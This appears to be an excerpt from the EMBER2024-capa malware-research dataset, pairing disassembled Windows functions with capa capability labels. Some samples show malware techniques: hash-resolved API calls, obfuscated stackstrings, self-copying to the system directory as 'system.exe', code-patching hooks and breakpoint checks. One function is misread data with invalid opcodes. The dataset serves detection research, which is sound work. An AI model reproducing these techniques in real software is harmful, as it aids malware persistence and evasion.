joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4196d0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0xc
mov al, byte [0x4ce04e]
push ebx
mov ebx, ecx
push esi
mov cl, byte [0x4ce043]
xor cl, al
mov al, byte [0x4ce041]
mov byte [0x4ce043], cl
mov cl, al
or cl, 0xc
shr cl, 2
and ecx, 0xff
mov dword [esp + 8], ecx
fild dword [esp + 8]
fdivr qword [0x4d19e8]
fadd qword [0x4d1988]
fstp qword [0x4d19e8]
mov ecx, dword [ebx + 8]
test ecx, ecx
jne 0x4197ea
mov dl, byte [0x4ce04d]
push edi
or al, dl
mov dl, byte [0x4ce045]
or dl, 2
mov byte [0x4ce041], al
shr dl, 1
and edx, 0xff
mov dword [esp + 0xc], edx
fild dword [esp + 0xc]
fdivr qword [0x4ce058]
fadd qword [0x4cc350]
fstp qword [0x4d1988]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
push str.uxtheme.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0x4ce038]
mov esi, eax
mov eax, dword [0x4ce03c]
mov dword [esp + 0x14], 0
lea ecx, [eax*4]
or ecx, edx
lea edx, [esp + 0xc]
mov dword [esp + 0x10], ecx
push edx
fild qword [esp + 0x14]
push edi
fstp qword [0x4ce058]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
call fcn.00419610
test edi, edi
pop edi
je 0x4197d5
mov eax, dword [0x4d1ad4]
push 0x4d17c0
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov ecx, dword [0x4d1ad4]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [0x4d0fa8], eax
test esi, esi
mov dword [ebx], esi
je 0x4197ea
push str.IsThemeActive
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx + 8], eax
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x4315bc
Capabilities:
Encode data using xor

Disassembly:
rol byte [esi + 0x709b0df4], 0x55
stosb byte es:[edi], al
inc edi
mov eax, 0xd9bf4f91
fstp dword [edi + 0xd312f2f]
sub dword [ebp - 0xedb0444], eax
invalid
sti
and al, 0xf1
xchg dword [ebx], esi
les eax, [ecx + ecx*4 + 0x7c97051d]
invalid
invalid
invalid
xchg edi, eax
invalid
inc eax
adc dword [ebx], eax
sbb eax, 0x9ab9a67a
in eax, 0x7a
salc
jl 0x43158f
and al, 0xd1
lodsb al, byte [esi]
stc
sti

Function at 0x47acb8
Capabilities:
Encode data using xor

Disassembly:
ret
Function at 0x4c7181
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4ce388
cmp edx, dword [eax]
je 0x4c71a3
add eax, 8
inc ecx
cmp eax, 0x4ce418
jl 0x4c7194
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4ce388]
jne 0x4c72d1
mov eax, dword [0x4d3db8]
cmp eax, 1
je 0x4c72ab
test eax, eax
jne 0x4c71d4
cmp dword [0x4ce2b0], 1
je 0x4c72ab
cmp edx, 0xfc
je 0x4c72d1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c720b
lea eax, [ebp - 0x1a4]
push 0x4cc6d0
push eax
call fcn.004c7b60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c7ff0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c724e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c7ff0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cc6cc
push edi
call fcn.004c9ec0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4cc6b0
push eax
call fcn.004c7b60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c7b70
lea eax, [ebp - 0xa0]
push 0x4cc6ac
push eax
call fcn.004c7b70
push dword [esi + 0x4ce38c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c7b70
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4cc684
push eax
call fcn.004c9e34
add esp, 0x2c
pop edi
jmp 0x4c72d1
lea eax, [ebp + 8]
lea esi, [esi + 0x4ce38c]
push 0
push eax
push dword [esi]
call fcn.004c7ff0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10060eff
Capabilities:
Query environment variable

Disassembly:
jmp 0x10100fd1
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10100fe5
xor edi, edi
jmp 0x10101029
push ebx
push esi
call fcn.10100eca
push 0x40
mov ebx, eax
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
sub ebx, esi
and ebx, 0xfffffffe
push 2
push ebx
call fcn.10062714
mov edi, eax
add esp, 0x14
test edi, edi
je 0x10101016
push ebx
push esi
push edi
call fcn.100628b8
add esp, 0xc
push 2
push 0
call fcn.100621f1
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x10062322
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x10127030
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x101707f4], 1
jge 0x1012709f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x10127075
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x10127075
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x10127052
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x1012708b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x10127092
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x1012718f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x10127160
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10127155
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x10127149
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x10127150
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x1012718f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x1012718a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x10127173
mov eax, dword [ebx + 8]
jmp 0x1012718f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x10127181
xor eax, eax
jmp 0x1012718f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x101270bf
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10079aa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov ecx, 0x101740a0
call fcn.10062bd3
mov eax, dword [0x10162bb0]
mov dword [ebp - 4], eax
jmp 0x10079ac5
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x10079adb
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10079ad9
mov eax, dword [ebp - 4]
jmp 0x10079b55
jmp 0x10079abd
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10079b52
mov eax, dword [ebp - 4]
add eax, 0x20
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0
mov eax, dword [ebp - 4]
mov dword [eax + 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
cmp eax, 0xfe0
jbe 0x10079b15
mov eax, dword [ebp - 4]
mov ecx, dword [0x10162bb0]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov dword [0x10162bb0], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1007b020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov ecx, 0x10174228
call fcn.10062bd3
imul eax, dword [ebp + 8], 0x2c
add eax, dword [0x10162bbc]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 5
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x1007b071
mov eax, dword [ebp - 0x10]
sub eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 2
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x40
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1007b093
mov eax, 0xa
jmp 0x1007b17a
cmp dword [ebp + 0xc], 0
je 0x1007b0e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xe9
mov eax, dword [ebp - 0x10]
add eax, 5
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
sub edx, eax
mov eax, dword [ebp - 0x14]
mov dword [eax + 1], edx
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x1007b0de
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov byte [eax], 0xeb
mov eax, dword [ebp - 0x18]
mov byte [eax + 1], 0xf9
jmp 0x1007b11c
mov eax, dword [ebp - 4]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x1007b107
push 7
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.100628b8
add esp, 0xc
jmp 0x1007b11c
push 5
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.100628b8
add esp, 0xc
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, byte [ebp + 0xc]
and al, 1
shl al, 1
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + 0x14]
and dl, 0xfd
or dl, al
mov eax, dword [ebp - 4]
mov byte [eax + 0x14], dl
mov al, byte [ebp + 0xc]
and al, 1
shl al, 2
mov ecx, dword [ebp - 4]
mov dl, byte [ecx + 0x14]
and dl, 0xfb
or dl, al
mov eax, dword [ebp - 4]
mov byte [eax + 0x14], dl
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1007b250
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x10161974]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x10174228
call fcn.10062bd3
mov dword [ebp - 8], 0
push 0
push 4
call fcn.1006083d
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x1007b3fa
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10060504
test eax, eax
je 0x1007b3f0
mov dword [ebp - 8], 1
cmp dword [ebp - 0x28], 0x10
jb 0x1007b390
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x1c], eax
jne 0x1007b390
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x20], eax
je 0x1007b390
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1007b31b
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x80
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 2
push ecx
push 0
mov edx, dword [0x10162bb8]
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1007b319
mov dword [ebp - 8], 0
jmp 0x1007b3ac
jmp 0x1007b370
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
cmp edx, dword [ecx + 4]
jb 0x1007b370
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 2
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [0x10162bb8]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x1007b368
mov dword [ebp - 8], 0
jmp 0x1007b3ac
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov edx, dword [ebp - 0x20]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
add ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 8], ecx
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1005f1bd
test eax, eax
jne 0x1007b2ad
cmp dword [ebp - 8], 0
je 0x1007b3c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1007b3c4
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0
jne 0x1007b3f0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x1007b3f0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [0x10162bb8]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10060a09
mov esp, ebp
pop ebp
ret
Function at 0x1007b620
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov ecx, 0x10174228
call fcn.10062bd3
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.1007b250
add esp, 4
test eax, eax
jne 0x1007b673
mov dword [ebp - 4], 9
jmp 0x1007b714
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x1007b714
mov dword [ebp - 8], 0
jmp 0x1007b691
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 8]
jae 0x1007b714
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx*4]
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0xc], 0
je 0x1007b6fa
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x1007b6f0
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.1007b790
add esp, 0xc
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0
jne 0x1007b70f
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
mov dword [ecx + edx*4], 0
jmp 0x1007b688
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1007bab0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov ecx, 0x10174228
call fcn.10062bd3
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x1007bb3e
mov dword [ebp - 4], 0
jmp 0x1007badd
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 8]
jae 0x1007bb29
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
mov eax, dword [ecx + edx*4]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007bb27
mov eax, dword [ebp - 8]
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1007bb27
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1007bad4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [0x10162bb8]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1007ca70
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov ecx, 0x101742fc
call fcn.10062bd3
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x1007cac6
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
cmp eax, 0x90
je 0x1007cac6
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
cmp eax, 0xcc
je 0x1007cac6
xor eax, eax
jmp 0x1007cb07
mov dword [ebp - 4], 1
jmp 0x1007cad8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jae 0x1007cb02
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
mov edx, 1
imul eax, edx, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + eax]
cmp ecx, eax
je 0x1007cb00
xor eax, eax
jmp 0x1007cb07
jmp 0x1007cacf
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x104
lea eax, [ebp - 0x2b8]
push eax
call dword [ebp - 0x1c]
push 0x1c368da0
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x14], eax
call dword [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x158]
push ecx
call section..text
add esp, 0xc
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x144], 0x2e
mov byte [ebp - 0x143], 0x64
mov byte [ebp - 0x142], 0x6c
mov byte [ebp - 0x141], 0x6c
mov byte [ebp - 0x140], 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x2b8]
push eax
call fcn.004019f0
add esp, 8
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x2b8]
push edx
call fcn.004019f0
add esp, 8
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.004019f0
add esp, 8
push 0x4e1e0843
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x1a4], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea edx, [ebp - 0x2b8]
push edx
call dword [ebp - 0x1a4]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
je 0x401705
mov dword [ebp - 0x2bc], 0
push 0x7463a627
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x2c4], eax
push 0
lea eax, [ebp - 0x2bc]
push eax
push 0xf400
push section..data
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [ebp - 0x2c4]
push 0x70ebfb28
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x2c0], eax
mov edx, dword [ebp - 0x13c]
push edx
call dword [ebp - 0x2c0]
mov byte [ebp - 0x1b0], 0x60
mov byte [ebp - 0x1af], 0x47
mov byte [ebp - 0x1ae], 0x5c
mov byte [ebp - 0x1ad], 0x56
mov byte [ebp - 0x1ac], 0x5e
mov byte [ebp - 0x1ab], 0x5e
mov byte [ebp - 0x1aa], 1
mov byte [ebp - 0x1a9], 0
mov byte [ebp - 0x1a8], 0x12
mov byte [ebp - 0x1a7], 0x32
push 0x32
push 0xa
lea eax, [ebp - 0x1b0]
push eax
lea ecx, [ebp - 0x1b0]
push ecx
call fcn.00401240
add esp, 0x10
mov byte [ebp - 0x10], 0x20
mov byte [ebp - 0xf], 0x45
mov byte [ebp - 0xe], 0x78
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0
push 0x44
push 0
lea edx, [ebp - 0x1a0]
push edx
call fcn.00401220
add esp, 0xc
mov dword [ebp - 0x1a0], 0x44
push 0x10
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.00401220
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x2b8]
push edx
call fcn.004019f0
add esp, 8
lea eax, [ebp - 0x1b0]
push eax
lea ecx, [ebp - 0x128]
push ecx
call fcn.004019e0
add esp, 8
lea edx, [ebp - 0x2b8]
push edx
lea eax, [ebp - 0x128]
push eax
call fcn.004019f0
add esp, 8
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.00401950
add esp, 4
push 0xe621d6
call fcn.004011f0
add esp, 4
mov dword [ebp - 4], eax
lea edx, [ebp - 0x138]
push edx
lea eax, [ebp - 0x1a0]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x128]
push ecx
push 0
call dword [ebp - 4]
push 0xea60
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret
Function at 0x401860
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [sym.imp.USER32.dll_SetSystemCursor]
call fcn.004015b0
call fcn.00401280
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x220], 0x5c
mov byte [ebp - 0x21f], 0x5c
mov byte [ebp - 0x21e], 0x73
mov byte [ebp - 0x21d], 0x79
mov byte [ebp - 0x21c], 0x73
mov byte [ebp - 0x21b], 0x74
mov byte [ebp - 0x21a], 0x65
mov byte [ebp - 0x219], 0x6d
mov byte [ebp - 0x218], 0x2e
mov byte [ebp - 0x217], 0x65
mov byte [ebp - 0x216], 0x78
mov byte [ebp - 0x215], 0x65
mov byte [ebp - 0x214], 0
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]